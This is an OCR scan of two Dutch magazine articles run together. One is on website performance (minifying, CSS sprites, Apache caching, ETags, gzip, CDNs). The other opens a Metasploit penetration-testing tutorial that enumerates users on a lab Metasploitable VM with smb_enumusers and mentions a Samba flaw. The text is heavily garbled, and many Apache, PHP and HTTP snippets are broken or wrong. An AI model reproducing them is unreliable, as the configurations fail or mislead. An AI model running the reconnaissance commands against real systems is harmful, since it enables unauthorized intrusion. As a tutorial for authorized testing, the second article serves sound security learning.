JavaScript-turbo 

Een website is meestaf meer dan 
alleen wat HTML-documenten 
met een paar foto's. Vaak zijn er 
tientallen bestanden ingebed, 
waaronder JavaScript-frame- 
works als jQuery er^ verschil- 
lende omvangrijke CSS-bestan- 
den. Elk afzonderlijk ingebed 
bestand kan de weergave van 
de website afremmen. 2o heeft 
e!ke afzonderlijke download tijd 
nodig, bijvoorbeeld voor ONS- 
requests, de HTTP-request naar 
het desbetreffende bestand, de 
wachttijd op bet ant woo rd van 
de server en tot slot het down- 
loaden van de pagina. 

Een beiangrijke eerste stap 
tot performanceverbetering 
is het verlagen van het aantal 
componenten van een website. 
In plaats van meerdere Java- 
Script-bestanden te gebruiken, 
kun je bijvoorbeeld beter alle 
functies en instructies in een 
enkel bestand onderbrengen. 
Hetzelfde geldt voor CSS-be- 
standen. In het ideale geval is 
er per website tel ken s maar Mn 
JavaScript' en een CSS-bestand. 
Het CSS-bestand moet altijd 
voor de JavaScript-bestanden 
worden geladen omdat een 
browser JavaScript pas uitvoert 
als alle CSS-bestanden zijn gela¬ 
den. Dat komt omdat JavaScript 
op stijlinformatie kan zijn aan- 
gewezen. 


Lees altijd bij het samenvoegen 
van JavaScfipt-bibliotheken als 
JQuery en jQuery Ul eerst de 
kleine lettertjes, omdat erafhan- 
kelijkheden tussen dergelljke 
programmaverzamelingen kun- 
nen bestaan. Zo werkt jQuery Ul 
alleen als het na jQuery wordt 
geladen. 

Van veei Java Script-frame- 
works bestaan naast goed lees- 
bare versies voor het ontwik’ 
kelen ook geminimaliseerde 
versies voor de productieser- 
ver - waar je ook echt gebruik 
van moet maken, De norma le, 
ongecomprifneerde versie van 
jQuery heeft een bestands- 
grootte van 232 kS, de gecom- 
primeerde versie is daarente- 
gen slechts 92 kB groot. Ook je 
zelfgeschreven Java Script-code 
moet je comprimeren. Daar zijn 
verschil lende tools voor, zoals 
Closure Compiler, JSMin en YU I 
Compressor (zie softlink). 

Ais je JavaScript gebruikt, 
bestaan er in een aantal ge- 
vailen veel mogelijkheden tot 
verbetering. Afhankelijk van 
de browser en de juiste tuning 
zijn performanceverbeterin^ 
gen tot een factor 100 te rea- 


liseren. Mocht je het vermoe- 
den hebben dat een script de 
performance afremt, dan kan 
profiling helpen om dat te ve- 
rifieren. De console van de 
Firefox-ultbreiding Firebug is 
hierbij handig, Als je daar op 
'Profileren' klikt, meet Firebug 
de door JavaScript-scripts be- 
nodigde tijden en krijg je voor 
elke opgeroepen functie op 
de mifliseconde nauwkeurig te 
zien hoelang die duren. 

Ook de algemene werkwijze 
van JavaScript heeft effect op 
de performance. De browser 
moet scripts namelijkzelf down- 
loaden, analyseren en uftvoe- 
ren voordat hij de pagina kan 
renderen. Daardoor laat hij de 
eerste pagina pas zien als hij de 
JavaScript-code helemaal heeft 
geladen. 

Je kunt dit voorkomen door 
de JavaScript-code aan het 
emde van de pagfna in te voe- 
gen. JavaScript dat op verschil- 
lende pagina's nodig is, moet je 
echter altijd apart meegeven. 
Op die manier kun je de grootte 
van de afzonderlijke HTML-be- 
standen reduceren. Als je een 
JavaScript-scrIpt alleen op een 


enkele pagina nodig hebt, moet 
je die als Inline script opnemen. 

Sne!, maar met stiji 

In principe geldt bij de perfor- 
manceverbetering voor CSS 
hetzelfde ais voor JavaScript: 
bestanden moeten zoveel mo- 
gel ijk worden samengevoegd 
en gecomprimeerd. Van veel 
CSS-frameworks bestaan ge- 
comprimeerde productieversies, 
sommige hebben op de website 
zelfs builders die van een com- 
pleet framework een maatwerk- 
pakket maken waarin alleen de 
onderdelen zitten die je daad- 
werketijk nodig hebt voor je 
site. Eigen CSS-bestanden kun- 
nen met een hele reeks tools 
gecomprimeerd worden, zoals 
Minify CSS en Google Minify, dat 
ookals WordPress-plug-ln wordt 
aangeboden. 

Ook afbeeldingen kunnen 
worden gecomprimeerd om het 
aantal HTTP-requests te verla¬ 
gen. Dat is niet voor alle afbeel¬ 
dingen zinvof denk aan continu 
wisselende afbeeldingen in een 
nieuwsoverzicht, maar bij af¬ 
beeldingen die gedurende Ian- 



Met de ontwikkeltools van de browser kunnen factoren die de performance remmen 
worden opgespoord. Hier wacht Chrome 168 milliseconden op de start van het uitleve¬ 
ren van een JavaScript-bestand, wat uiteindelijk maar een milliseconde duurt 
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gere tijd op een statische pagina 
staan, zoals achtergrondafbeel- 
dingen, kun je door compressie 
overhead besparen. 

Dat kan ook met CSS-sprltes. 
Deze voegen verschiileode af- 
beeldingen samen tot een grote 
afbeelding. Veel grote websites 
als Amazon, Google en Apple 
gebrulken sprites. De afbeelding 
rechtsboven op deze pagina 
toont een deel van een sprite 
van de Engelse Amazon-versie. 
Elk deel van de afbeelding kan 
met de CSS-eigenschap back- 
ground-position op de juiste 
plek worden gezet. 

Om bijvoorbeeld een CSS- 
sprite op te nemen In een 
HTML-pagina, definieer je hem 
als background van een pas- 
send DOM-element: 

.vader-element { 

backgrou nd:u rl( sprite, png); 

} 

Daarna zet je het via de offset 
in de desbetreffende sprite. Het 
eerste Amazon logo kun je met 
d e re gel 

<div sty[e="background-position: -Opx - 
Op}f; width: 80px; height: 30px"></div> 

inbedden. Het maken van spri¬ 
tes kost net zoveel tijd. Met de 
CSS Sprites Generator [http:// 
cssspritesxom) kun je van een 


CSS-sprites combineren meer- 
dere afbeeldingen in een be- 
stand, bier een fragment van 
een sprite van Amazon. 


aantal opgegeven afbeeldingen 
een sprite maken. SpriteMe ana- 
lyseert een bestaande HTML-pa- 
gina en maakt uit de daar aan- 
v^ezige afbeeldingen een sprite. 

Ook het afbeeldingenformaat 
heeft effect op de performance 
van de website. JPG bledt wat 
compressieratio betreft de beste 
mogefijkheden. Helaas loopt bij 
dit formaat de kwaliteit terug bij 
een toenemende compressie- 
factor. Op afbeeldingen waar 
een lagere kwaliteit nog accep- 
tabel is, verdient JPG de voor- 
keur. 

Heb je meer kwaliteit nodig, 
dan kun je beter PNG gebruiken 
omdat daar verliesvrije com¬ 
pressie mee mogelijk is. Dan 
moet Je daar van tevoren wel 
eerst een getndexeerde afbeel¬ 
ding van maken met een voor 
internet geoptimaliseerd kleur- 
palet. Alleen dan is een goede 
CO m pre ss i e ratio m og e I i j k. 

Afbeeldingen moet je altijd 
net 20 groot maken als nodIg 
is. Geef ze met een beeldbewer- 
kingsprogramma de Juiste af- 
metingen en geef die in het 
img-element mee via de attri- 
buten width en height. Gebruik in 
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geen geval HTML-scaling, dat 
kost downioadtijd omdat de 
afbeelding groter dan nodig Is 
en rendertijd omdat de browser 
het plaatje zelf moet ver kleinen. 

Caching 

Browsers kunnen content tlj- 
delijk opslaan oftewel cachen. 
Bij de eerste aanroep van een 
pagina downloadt de browser 
alle content Als de pagina later 
nogmaals wordt opgeroepen, 
is meestal alleen een deel van 
de elementen veranderd. in 


zulke geval len is het beter als 
de browser de a! aanweztge ele¬ 
menten uit de cache haalt. Ook 
terugkerende elementen zoais 
banners en navigatieknoppen, 
die op alle pagina's van een 
site voorkomen, hoeft de brow¬ 
ser dankzij caching niet bij elke 
pagina-aanroep te downloaden. 

Bij de overdracht van een 
pagina kan de Webserver via 
de HTTP-header aangeven hoe 
lang de browser welke content 
in de cache moet houden zon- 
der die te updaten. Voor het 
configureren van de cachingHn- 
stellingen bij de Apache-server 
moet de module mod_expires 
beschikbaar zijn. Bovendien 
heb je toegang tot het bestand 
.htaccess nodig, waar je voor 
afzonderlijke pagina-elementen 
kunt vastleggen hoelang die in 
de cache opgeslagen moeten 
worden voordat de browser een 
nieuwe versie ervan moet op- 
vragen: 

<ifModule mod_expirest> 

ExpireActive On 

ExpireDefault "access plus JOO seconds” 
ExpiresByType image/png "access plus 
1 month” 

ExpiresByType image/jpeg "access plus 
1 month" 

ExpiresByType image/gif "access plusl 
month" 

ExpiresByType text/css "access plus 1 
month" 

ExpiresByType test/javascript "access 

plus 1 month’ 
ExpiresByType appication/x-shockwave- 
flash 'access plus 1 month" 

</[fModule> 

In het voorbeeld moet de brow¬ 
ser alle content standaard 300 
seconden cachen. Element 
ten zoais Flash, afbeeldingen, 
CSS en JavaScript krijgen een 
verlengde cachetijd van een 
maand.Voor het cachen moetje 
op je intmtie afgaan: met een te 
krappe cachrngtijd geef Je veel 
optima I isatiemogelljkheden 
weg, een te lange tijei kan tot 
gevolg hebben dat de server 
verouderde content uitlevert. 
De ervaring heeft geleerd dat 
JavaScript- en CSS-bestanden 
net als afbeeldingen op veel 
sites minder vaak veranderd 
worden dan HTML-bestanden. 
Als je bij een shared webspace 
niet zeker weet die aan de twee 
genoemde voorwaarden vot- 
doet, kun je het best contact op- 
nemen met je provider. 

Naast het cachen van con¬ 
tent is ook proxy-caching een 
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Browser-ontwikkeltools, zoais hierdie van Chrome, geven inzicht in het dataverkeer tussen de brow¬ 
ser en de server. 
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mogelijk aanknopingspunt. Met 
name bedrijven maken gebruik 
van proxy servers die ontvangen 
gegevens a!s lokaie kopte op- 
slaan. BIj het opnieuw opvragen 
van de resource wordt van deze 
kopie gebruikgemaakt en hoeft 
er geen contact opgenomen 
te worden met remote servers* 
Om proxy-caching mogelijk te 
maken, stel Je de Cache-Control- 
HTTP-header, die de proxyserver 
aangeeft dat bepaalde content 
gecachet mag worden, op de 
volgende manier in: 

Cache-Control: Public 

Dit kan ook met de module 
mod^expires* Een typische .ht 
access^entry ziet er als voIgt uit: 

<lfModule mod_expires.c> 

Expires Active On 

ExpireOefauit "access plus 500 seconds" 
ExpiresByType image/gif "access plus 1 
month 1 hour" 
ExpiresByType image/jpg "access plus 1 
month 1 hour" 

</IfModule> 

Performance-checksums 

Een ETag (entiteit-tag) is een 
header veld dat met HTTP 
werd geintrodoceerd. ETags 
zijn interessant omdat daar ver- 
anderingen aan een website 
(of aan andere resources) aan 
herkend kunnen worden* ETags 
kunnen nog het best worden 
vergeleken met een checksum 
van de content. De server stuurt 
de betreffende resources via 
HTTP t.T samen met de ETag 
naarde browser* Een HTTP-reply 
met ETag ziet er bijvoorbeeld als 
voIgt uit: 

KHP/TI 200 OK 

Ust-Modifiod: Tue, 11 Jul 2011 05:03:59 
GMT 

ETa g:" 13d 2sbC“2ab-652e Lc3 4d" 

Content"Length: 23345 

De server verstuurt de voor de 
opgevraagde resource gespe- 
cificeerde ETag-waarde in het 
ETag-headerveld. De browser 
- alle moderne browsers onder- 
steunen ETags - slaat de ETag 
en de resource lokaal op. Als de 
resource opnieuw wordt opge- 
vraagd, stuurt de client in het 
headerveid If-None-Match de op- 
geslagen ETag-waarde mee* 

GET /i/logo.gif HTTP/1.1 
Host:fl ickr.com/ 

If-Modified-Since: Tue, 11 Sep 2011 
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05:03:59 GMT 

ITNon^Match: '■13d2sbc-2ab-652ek34d" 
HTTP/1.1 304 Not Modified 

Aan de serverkant worden de 
meegestuurde ETag-waarde en 
de opgeslagen waarde verge¬ 
leken. Als die waarden identiek 
zijn, wordt de statuscode 303 
verstuurd en gebruikt de client 
gebruik verder de lokaal opge¬ 
slagen resource en hoeft die dus 
niet opnfeuw van de server te 
halen. 

Maar niet ledereen is voor- 
stander van ETags. Zo raadt 
Yahoo! het gebruik van ETags 
principieel af als er meer servers 
worden gebruikt. In dat geval 
kunnen ETags namelijk niet op- 
timaal worden berekend: als een 
bestand op verschillende ser¬ 
vers staat, heeft hij verschillende 
ETags. 

Om ETags In Apache uit te 
schakelen, wordt de volgende 
entry In het configuratiebestand 
ingevoegd: 

File ETag non e 

De ETags kunnen ook in Micro- 
softs IIS worden uitgeschakeld. 
De Microsoft Knowledge Base 
beschrijft de te nemen stap- 
pen. 

HTML comprimeren 

Bij vee! websites duurt het ver- 
sturen van de HTML-content 
naar de client langer dan het 
genereren van de content op de 
server. Van daar dat de content 
op de server gecomprimeerd 
moet worden. De server stuurt 
de gecomprimeerde gegevens 
naar de browser, die ze uitpakt, 
Alle moderne browsers kunnen 
met gecomprimeerde content 
omgaan. Hiervoor wordt de 
header-entry Accept-Encodlng in de 
HTTP-request verstuurd. Sinds 
HTTP LI sturen clients die com- 
pressie ondersteunen de vol¬ 
gende entry mee: 

Accept-Encoding: gzip, deflate 
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Als de server deze entry in de 
aanvraag van een pagina her- 
kent, kan hij een van de ge- 
noemde methoden voor de 
compressie gebruiken. De ser¬ 
ver stuurt de client een bericht 
In de header van het antwoord. 
Met deze techniek is bijzonder 
veel mogelijk. Als de server de 
content comprimeert, kan de 
bestandsgrootte met maximaal 
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Van een aantal Java Script-frameworks kunnen maatwerkversies gemaakt worden waarin alleen de 
benodigde onderdelen zitten. 


75 procent worden verkleind. 
Het comprimeren helpt boven- 
dien bij het reduceren van de 
bandbreedte, die bij webhos- 
tingpakketten vanaf een be^ 
paalde bovengrens extra (duur) 
bijbetaald meet worden. 

De Apache-server [en andere 
servers) maakt de gzlp^com- 
pressie van content mogeitjk 


zonder dat er veranderingen 
aan de code van de betreffende 
applicatie nodig ztjn. Met mod_ 
gzip, mod_deflate en ob_gz- 
handler zijn daar verschtllende 
Apache-modules voor. Met de 
module mod-deflate kun Je brj- 
voorbeeld aan de hand van de 
MIME^typen de te comprimeren 
content bepalen. De regels 


<Directory 'Vserverfioofdmap/ 

dooimem3tie"> 
AddOutpytFiiterBylype DEFLATE 
text/htmL 
</Djrectory> 

in het bestand .htaccess zorgen 
er bijvoorbeeld voor dat alle 
HTMLdocumenten tn de map 
/documentatie gecomprEmeerd 



SpriteMe neemt een website onderde loep en maakt een passende CSS-sprite* 


verstuurd worden* Je kunt ook 
de suffixen opgeven van de 
bestanden die gecomprimeerd 
moeten worden. 

< Files *.html> 

SetOutputFllter DEFLATE 
</Files> 

Comprimeren bij shared-hos- 
ting-pakketten is lastig. Veel 
providers hebben mod_gzip en 
mod_deflate namelijk helemaal 
niet geVnstalleerd. In zo‘n geval 
kun je gebruikmaken van de 
PHP-functie objzhandLer. Deze 
functie moet aan het begin van 
elk te comprimeren bestand 
worden gezet. 

<?php 

ob_sta " ob_g zhandle r"); 

?> 

Het nadeei van deze variant Is 
dat daadwerkelijk elk afzonder- 
lijk bestand dat de server moet 
comprimeren* bewerkt moet 
worden. Bij de Apache-server 
kan dat geautomatiseerd wor- 
den. Maak een PHP-bestand 
met de content ob_staTt("ob_gz- 
handler") aan, Vervolgens deel je 
Apache via .htaccess mee dat hij 
dit bestand tel kens voor het be^ 
werken van een ander bestand 
moet invoegen: 

<fiLesMatch "\{css}'> 

ForceType appLication/x-httpd-php 
php_¥alue auto_preperfd_fiie /het/pad/ 
gzip-enable.php 
</FilesMatch> 

Verdeel en heers 

Browsers kunnen per host een 
vast aantal verbindingen ope- 
nen. Bij Internet Explorer 9 zijn 
dat bijvoorbeeld zes verbindin¬ 
gen, bij Opera acht Als je de bij 
de website horende resources 
over meerdere hosts verdeelt* 
kunnen de browsers meer pa- 
rallelle verbindingen openen 
en de bij een pagina horende 
content sneller downloaden* 
Meestal is het echter niet zin- 
vol om veel hosts te gebruiken* 
alteen al omdat een doorsnee 
webmaster amper in staat is 
om zijn content op fatsoenlijke 
wijze over meerdere servers 
te verdeien - meer dan twee 
tot vier hosts zal hij nauwelijks 
kunnen beheren* Een zinvolle 
manier om content te verde¬ 
ien is bijvoorbeeld de door de 
database gegenereerde con¬ 
tent - zoais HTML-pagina's die 
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ult een contentmanagement’ 
systeem komen - te schelden 
van statische content zoals af- 
beeldingen, JavaScript- en CSS- 
bestanden. 

Bij deze verdeling is een an- 
dere performancerem nog te 
vermijden. Als een site cookies 
gebruikt, styurt de browser brj 
elke HTTP-request a lie cookies 
die met het betreffende do- 
mein geassocieerd zijn naar 
de server - dus ook voor af- 
beeldingen, CSS- en andere 
ingebedde bestanden. Dat is 
met name bij statische content 
helemaai niet nodig, temeer 
omdat de overdrachtssnelbeid 
van browser naar server meest- 
al toch al beperkt is, 

Daarom moet je gegevens 
waarbij geen cookies nodig 
zijn, ook daadwerkeiijk zonder 
cookies laten versturen. Dit 
soort content kun je het beste 
op een tweede domein zonder 
cookies zetten, terwiji de gege¬ 
vens die daadwerkeiijk op coo¬ 
kies zijn aangewezen -- sessies 
" dan via de normale cookie- 
host lopen. 

Vaak is de browser tijdens 
een groot deel van laadtijd van 
een HTML-pagina bezig met 
het wachten op een reactie, 
Een factor die de wachttijd tus- 
sen een request van de brow¬ 
ser en een reply van de server 
beinvioedt, is ook bij het world 
wide web een kwestie van de 
fysieke afstand tussen client en 
server. 

Dat is precies waar Content 
Delivery Networks (CDN) op 
inspringen, Het idee is om een 
website op meerdere servers te 
hosten die over verschillende 
focaties verdeeld zijn. De con¬ 
tent wordt dan door de server 
geieverd die geografisch ge- 
zien het dichtst bij de gebruiker 
staat, Lange tijd waren deze 
CDN's uitsluitend voorbehou- 
den aan grote bedrijven, inter- 
net-service-providers en appii- 
cation-service-providers met 
een wereldwijde kiantenkring. 

Maar inmiddeis zijn CDN's 
ook voor kleinere bedrijven 
betaalbaar, Een voorbeeld 
voor een goedkoop CDN is 
Amazons storage service S3, Je 
kunt opsiagruimte bij de krach- 
tige rekencentra van Amazon 
huren - wat met name prak- 
tisch is voor vaak opgevraagde 
statische gegevens zoals gratis 
downloads, die je eigen ser¬ 
ver tijdens piekuren dreigen te 
overbelasten. Je kunt daarbij 
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vastleggen of de gegevens in 
Europa of in de VS opgesiagen 
moeten worden. 

Soms kun je via CDN's de 
traffic- en daarmee de IT-kosten 
verlagen. Een typisch voor¬ 
beeld hiervoor is de Google 
Libraries APi, via welke Java- 
Script-frameworks als jQuery, 
Prototype en Dojo In Je eigen 
website opgenomen kunnen 
worden. Dat kost de webmas¬ 
ter in tegensteliing tot S3 niets 
en er wordt ook geen beroep 
gedaan op de eigen server- 
capaclteit. 

WPO-puzzel 

Toegegeven, webperformance- 
optimalisatie is complex, maar 
desalniettemin belangrijk. Het 
verbeteren van de performance 
van een website zal in de toe- 
komst bovendlen alleen maar 
belangrijker worden. Net als bij 
de zoekmachine-optimalisatie 
bestaat er ook bij WPO geen 
universele oplossing. Het is 
meer een kwestie van de juiste 
mix van verschillende maatre- 
gelen vtnden. 

in dit artlkel hebben we 
slechts de belangrijkste punten 
aangestipt om je een globaal 
idee te geven. Andere moge- 
lijkheden voor het verbeteren 
van de performance zitten btj- 
voorbeeld bij de gebruikte ser- 
versoftware ^ daar alleen is al 
een eigen artikel aan te wijden. 
Zo bestaan er bij voor bee Id 
voor contentmanagement- 
systemen als Word Press eigen 
modules om je website te ver- 
snellen. 

Soms is bet zetfs verstandig 
om over de architectuur van je 
webtoepassing na te denken 
als je niet tevreden bent over 
de performance van je site* Btj 
het verwerken van nauwelijks 
gestructureerde gegevens kan 
het bijvoorbeeld de moeite 
waard zijn om van MySQL over 
te stappen op een NoSQL-data- 
base [1]. Bij de softlink staat 
nog meer materiaa! over dit 
thema. 
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Doorslaand succes 

Tutorial: penetratietesten met het Metasploit-framework 
en Armitage 

Metasploit wordt mmiddels beschouwd als de industriestandaard voor 
penetratietests. In het eerste deel van deze tutorial laten we zien hoe je het 
framework kunt gebruiken bij het zoeken naar zwakke plekken. Dankzij de 
grafische interface Armitage hou je ook als beginner het overzicht* 


n deze driedellge artikeberie geven we 
praktische aanwijzingen om het Meta¬ 
sploit-framework te gebruiken. Dit 
framework is opensource en dus gratis te 
downloaden. Bovendien staat het als on- 
derdeel van BackTrack 5 op de dvd die bij 
c’t 10/2011 zat, Het framework is naast een 
aantal commerciele producten een populai- 


re tool voor penetratietesters en IT-beveili- 
gingsspecialisten over de hele wereld. Eerst 
leggen we kort uit hoe een penetratietest 
verloopt, vervolgens presenteren we het 
eigenlijke Metasploit-framework en leggen 
we aan de hand van de grafische interface 
Armitage uit hoe je het in de praktijk kunt 
gebruiken. 


Definitie penetratietest 

Er zijn inmiddels af heel wat definities in 
omioop om de rol en betekenis van pene- 
tratietests uitgebreid te beschrijven. Deze 
hebben allemaal gemeen dat het gaat om 
geautoriseerde pogingen om netwerken 
en computernetwerken binnen te dringen. 
Daarbij moeten de zwakke plekken In een 
systeem gevonden worden en uiteindelljk 
moeten er voorstellen gedaan worden om 
dat systeem beter te beveiligen. In het alge- 
meen kun je de volgende vijf fases onder- 
scheiden: 

Fase 1 : voorbereiden 

Fase 2: informatie verzamelen en analyseren 
Fase 3: informatie analyseren / risicoanalyse 
Fase 4: actieve aanvalspogingen 
Fase 5: afsiuitende analyse 

Het voert voor dit artikel te ver om a lie acti- 
vitelten bij de verschillende fases uitvoerig 
te beschrijven, Het is wel belangrijk dat de 
opdrachtgevers (elgenaren van de net- 


102 


cat ion, Nr. 12 






Metasploit'framework-architectuur 



De basis voor het Metasploit-framework wordt gevormd door afzonderlijke modules. 


werken of computersystemen) in alle fases 
samenwerken met de opdrachtnemers (pe- 
netratietesters) en de afzonderlijke stappen 
en maatregeien op elkaar afstemnnen. 

Ontwikkelaar Rapid? beschrijft het pro¬ 
ject op zijn website a Is voIgt: "The Metas- 
ploit Framework is a free, open source pe¬ 
netration testing solution developed by the 
open source community and Rapid?." [1] 
in 2003 was het H.D. Moore die Metasploit 
opstarttBp waarna de grote gebruikerscom- 
munlty het continu heeft doorontwikkeld. 
In het begin ging dat nog met de program’ 
meertaal Peri maar sinds versie 3.0 wordt 
Ruby gebfuikt. Vanaf dat moment liet het 
project een enorme groei zien, die in 2009 
een hoogtepunt bereikte met de over name 
door Rapid?. Het is absoluut een goede 
beslissing geweest om het framework na 
de overname toegankelijk te houden voor 
de opensourcecommunity. Sinds 2010 ver- 
koopt Rapid? ook de hierop gebaseerde 
commerciele producten Metasploit Express 
en Metasploit Pro. 

Inmiddels is Metasploit de industriestan- 
daard voor penetratietests en ontwikkelt 
het zich met meer dan een miljoen down¬ 
loads per jaar tot de populairste openbaar 
toegankelfjke exploitdatabase ter wereld. 
Behalve voor penetratietesters is het frame¬ 
work ook bedoeld ter ondersteuning van 
leidinggevenden en consultants op het ge- 
bied van IT-security en voor systeembeheer- 
ders, Lance Spitznen een van de medeo- 
prichters van het Honeynet-project, vroeg 
zich af: "How can we protect against an 
enemy, when we don't even know who the 
enemy Is?" Aileen als je goed op de hoogte 
bent van de aanvalsmethoden en werkwijze 
van hackers kun je effectieve tegenmaat- 
regelen ontwikkelen. Om zwakke plekken In 
je computersystemen en netwerken te ont- 
dekken, moet je ze dus op dezelfde manier 
aanvallen als een mogelijke aanvaller dat 
zou doen. 

Frameworkstructuur 

De modulaire opbouw van het framework 
(zie afbeelding) heeft bewezen een groot 
voordeel te zijn. Behalve de softwarebi- 
bliotheken voor de ontwikkeling staan er 
omvangrijke tools en plug-ins tot je be- 
schikking. De interfaces voor de gebruiker 
bestaan uit consoles en grafische interfaces 
die in Java ontwikkeld zijn. Hieronder pre- 
senteren we de belangrijkste modules: 

Exploits: hler vind je de malware die de be- 
veiliglngslekken in de verschiliende bestu- 
ringssystemen en gebruikersprogramma's 
uitbuit. 

Payloads: dit is de code die na een succes- 
voile aanval op het systeem wordt gezet om 
bijvoorbeeld eenmalig toegang te kfijgen of 
deze permanent in te stellen* 

Encoders: deze worden gebruikt om de pay- 
load te verbergen. Deze maken het zo moei- 
lijk om aanvallen te herkennen en af te weren 
met Intrusion Prevention Systems (IPS). 


NOP-generators: om shellcode te verber- 
gen en de exploits te modlficeren. 
Auxitiary's: kleine tools als scanners en snif¬ 
fers die het werk van penetratietesters ver- 
gemakkelijken, 

Werken met Metasploit 

We willen van tevoren nog wel nadruk- 
kelijk onder de aandacht brengen dat het 
Metasplolt-framework niet gemaakt is om 
zonder toestemmlng in computersystemen 
binnen te dringen of de zwakke plekken m 
het netwerk van je buren op te sporen. Bij 
ongeoorloofd gebruik kun je voigens de 
huidige wetgeving strafrechtelijk worden 
vervolgd. Specialisten op het gebied van 
IT-beveiliging moeten zich wel met deze 
materie bezighouden en de bijbehorende 
tools gebruiken. Daarom wordt het In artlkel 
138ab van het Wetboek van Strafrecht com- 
putervredebreuk gedefinieerd als iemand 
die "opzettelijk en wederrechtelijk binnen- 
dringt in een geautomatiseerd werk" en in 
punt twee van artikel 139d wordt ook het 
verspreiden van tools en het gebruik ervan 
"met het oogmerk dat daarmee een misdrijf 
(„.) wordt gepleegd" strafbaar gemaakt. Het 
in het bezit hebben van een programma dat 
aileen geschikt is om misdrijven mee te pie- 
gen is dus niet verboden. Een geautohseer- 
de penetratietest is dan niet strafbaar. 

in dit verband raden we Je aan om voor 
trainingsdoeleinden een testomgeving met 
virtuele machines op te zetten, die fysiek 
van andere netwerken te scheiden en tests 
aileen met toestemming van de eigenaar 
door te voeren. 

Op de website van het project kun je 
Metasploit gratis downtoaden voor Win¬ 
dows, GNU/Llnux en Unix (zie softllnk). Het 
is makkeUjk te installeren en gevorderde 
gebruikers moeten er geen problemen mee 
hebben. Met de Unux-distributle BackTrack 


gaat het nog makkelijker, daar is het Meta- 
sptoit-framework met toepasslngen die 
daar gebruik van maken in de interface ge- 
integreerd. De voorbeelden in deze tutorial 
zijn gemaakt met de in mei 2011 versche- 
nen versie BackTrack 5. Inmiddels is ook 
BackTrack 5.1 verschenen met een aantal 
extra tools. Als je de listings en toepassln- 
gen wilt testen, moet je de software down- 
loaden en in een zo veiiig mogelijke [indien 
mogelijk virtuele) omgeving gebruiken. Je 
kunt ook de bootable dvd van c't 10/2011 
onder dezelfde veiligheidsvoorwaarden ge¬ 
bruiken. 

Werken met het Meta sploit-fra me work 
kan beginners In eerste fnstantie afschrlk- 
ken* Veel commando's moet je via de com¬ 
mandline invoeren. Er zijn inmiddels al wel 
grafische interfaces, maar je moet er niet 
voor terugschrikken om de console te ge¬ 
bruiken. Bovendien is het belangrijk dat Je 
het penetratietestproces begrijpt en weet 
hoe dat verloopt Hieronder presenteren we 
kort de afzonderlijke interfaces, 

Metasploit-console 

De Metasploit-console (msfconsole) is de 
populairste tool in de verzameling. Hij werkt 
snel en betrouwbaar en biedt alle functies 
die je nodig hebt om effectief te werken, 
Bovendien is er ondersteuning voor functies 
als tabbing, command completion en het 
uitvoeren van besturingssysteemcomman- 
do's. In de interface van BackTrack 5 kun je 
msfconsole als voIgt aanroepen: BackTrack 
/ Exploitation Tools / Network Exploitation 
Tools / Metasploit Framework / msfconsole, 

Voor beginners is voorai het commando 
help erg belangrijk. Listing 1 laat een uit- 
treksel uit de uitgebreide lijst met mogelijke 
commando's zien. 

Met twee voorbeelden willen we laten 
zien hoe je in de Metasplot-consofe de ver- 
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msf > help 
Core Commands 


Command 

Description 

7 

Help menu 

back 

Move back from the current context 

banner 

Display an awesome metasploit banner 

cd 

Change the current working directory 

color 

Toggle color 

connect 

Communicate with a host 

exit 

Exit the console 

help 

Help menu 

info 

Displays information about one or more module 

irb 

Drop into irb scripting mode 

jobs 

Displays and manages jobs 

kill 

Kill a job 

load 

Load a framework plugin 

loadpath 

Searches for and loads modules from a path 

makerc 

Save commands entered since start to a file 

quit 

Exit the console 

reload^all 

Reloads all modules from all defined module paths 

resource 

Run the commands stored in a file 

route 

Route traffic through a session 

save 

Saves the active dataslores 

search 

Searches module names and descriptions 

sessions 

Dump session listings and display information about 
sessions 

set 

Sets a variable to a value 

setg 

Sets a global variable to a value 

show 

Displays modules of a given type, or all modules 

sleep 

Do nothing for the specified number of seconds 

threads 

View and manipulate background threads 

unload 

Unload a framework plugin 

unset 

Unsets one or more variables 

unsetg 

Unsets one or more global variables 

use 

Seleas a module by name 

version 

Show the framework and console library ve^ion numbers 


msf > search enumusen 

auidl(ary/scanner/smb/smb_enumusers 
auxiliary/scanner/smb/smb_enumusers_dQmain 
auxiliary/scanner/snmp/snmp^enymusefs auxHiary/sGnner/snmp/xerox_ 
workcentre_enumusers 


Listing 2: Met mekcommando birjkt een handig hulpnnrddel. 


msf > use auxillary/scanner/smb/smb_enumu5ers 
msf aiixiliary(smb_en urn users) > show options 

Module options (auxiliary/scanner/smb/smb_enymusers): 


Name 

Current Setting Recfuired Description 

RHOSTS 

yes 

The target address range or QDR identifier 

SMBDomain WORKGROUP no 

The Windows domain to use for 



authentication 

SMBPass 

no 

The password for the specified username 

SMBUser 

no 

The username to authenticate as 

THREADS 

1 yes 

The number of concurrent threads 


Listing 3: Met use gebruik je een module. 


sf auxUiary(smb_enumusers) > set RHOSTS 192.168.222.134 

RHOSTS => 192J68.222.134 

msf auxiliary(smb_enumusefs) > run 

I1 192.168.222,134 MfTASPLOTTABLE [ games, nobody, bind, proxy, syslog, 
user, www-data, root, news, postgres, bm, matset PAYLOADl, distccd, proftpd, 
dhcp, daemon, sshd, man. Ip, mysql, gnats, llbuuid, backup, msfadmin, telnetd, 
sys, klog, postfix, sendee. List, rrc, ftp, tomcats 5, sync, uucp 1 (LockoutTries-0 
PasswordMfn-5) 

[*^1 Scanned 1 of 1 hosts (100% complete) 

[*] Auxiliary module execution compLeted 


Listing 4: De gebruikers van een systeem netjes op een rij. 


Listing 1: Help in de Metasploit-console. 


schillende auxiliary's en exploits kunt ge- 
bruiken. 0ns doel is in dit geval een Ubuntu 
8.04-servef. Door bet project wordt daar 
gratis een virtuele machine voor aangebo- 
den {zEe softlink), die je relatief makkelijk 
aan de testonngeving kunt toevoegen. De 
daar ge’mstalleerde Samba-service heeft 
een zwakke plek (zie ook CVE-2007-2447 
[2]) die het voor aanvallers mogelijk maakt 
om prog ram macode binnen te smokkelen 
en uit te voeren. 

In de eerste stap test een scanner of be- 
paalde gebruikers via deze service kunnen 
worden uitgelezen. Met search kun je mak¬ 
kelijk naar de juiste module zoeken, zte lis¬ 
ting Z 

Met use kies je de module auxiliary/scan- 
ner/smb/smb_enumusers en met show options 
krijg je dan de parameters te zien (listing 3). 

Nu moet je via de parameter RHOSTS nog 
het IP-adres van het doel (Target Address) 
opgeven, en dan met run de scanner starten. 
Listing 4 laat de beschikbare gebruikers op 
het systeem zien. Bovendien krijg je hier 


nog nuttige informatie over welke andere 
services er mogelijk nog op het systeem 
draaien (ftp, mysql http). 

